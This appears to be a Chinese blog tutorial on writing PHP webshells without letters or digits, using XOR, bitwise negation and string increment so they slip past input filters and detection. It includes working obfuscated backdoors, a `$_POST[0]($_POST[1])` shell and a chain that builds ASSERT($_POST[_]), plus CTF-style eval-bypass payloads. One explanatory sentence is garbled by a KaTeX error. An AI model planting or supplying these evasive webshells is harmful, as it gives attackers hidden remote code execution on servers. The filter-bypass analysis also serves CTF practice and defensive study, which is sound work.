过滤字符,绕过

构造不包含字母和数字的webshell

bash 复制代码
<?php
    echo "A"^"`";
?>

运行结果为!

代码中对字符"A"和字符"`"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

在php中,异或操作是两个二进制数相同时,异或为0,不同为1。

PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理。

bash 复制代码
<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

执行结果为:Hello Angel_Kitty

$++;这行代码的意思是对变量名为""的变量进行自增操作,在PHP中未定义的变量默认值为null,null ==false= =0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

PHP后门

bash 复制代码
<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

异或进行绕过

bash 复制代码
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

payload

bash 复制代码
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
$_GET[_]();&
<?php
    echo "`{{{"^"?<>/";//_GET
?>

"`{{{"^"?<>/"的结果是"GET",所以KaTeX parse error: Expected '}', got 'EOF' at end of input: { }_=$GET_,而此时 =getFlag

取反进行绕过

bash 复制代码
<?php
$a = "getFlag";
echo urlencode(~$a);
?>

payload:

bash 复制代码
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

利用php语法绕过

利用php语法规则,在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。如何拿到一个值为字符串'a'的变量,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,再取这个字符串的第一个字母,就可以获得'A'了。

bash 复制代码
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
 
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

payload:

bash 复制代码
?code=$啊="@@^|@@@"^"'%*:,!'";$啊();
相关推荐
hunzi_17 小时前
PHP商城源码:构建高效电商平台的利器
开发语言·php
SDL大华8 小时前
【备忘】PHP web项目一般部署办法
开发语言·php
kdniao20259 小时前
快递接口调用选择:快递鸟、快递100、阿里云大对比
人工智能·阿里云·php
别NULL11 小时前
《TCP/IP 详解 卷1:协议》第6章:DHCP和自动配置
网络协议·tcp/ip·php
Le_ee19 小时前
pikachu——php反序列化
网络安全·靶场·php·pikachu·php反序列
开开心心就好1 天前
电脑扩展屏幕工具
java·开发语言·前端·电脑·php·excel·batch
AI风老师1 天前
通信网络基础概念
开发语言·网络·php
链上Sniper2 天前
区块链架构深度解析:从 Genesis Block 到 Layer 2
开发语言·网络·架构·区块链·php
hymuuuu2 天前
【源码】研学报名小程序开发功能分析案例
mysql·php·需求分析
亿坊电商2 天前
PHP框架在内容管理系统开发中的优势:效率、安全与扩展性!
开发语言·安全·php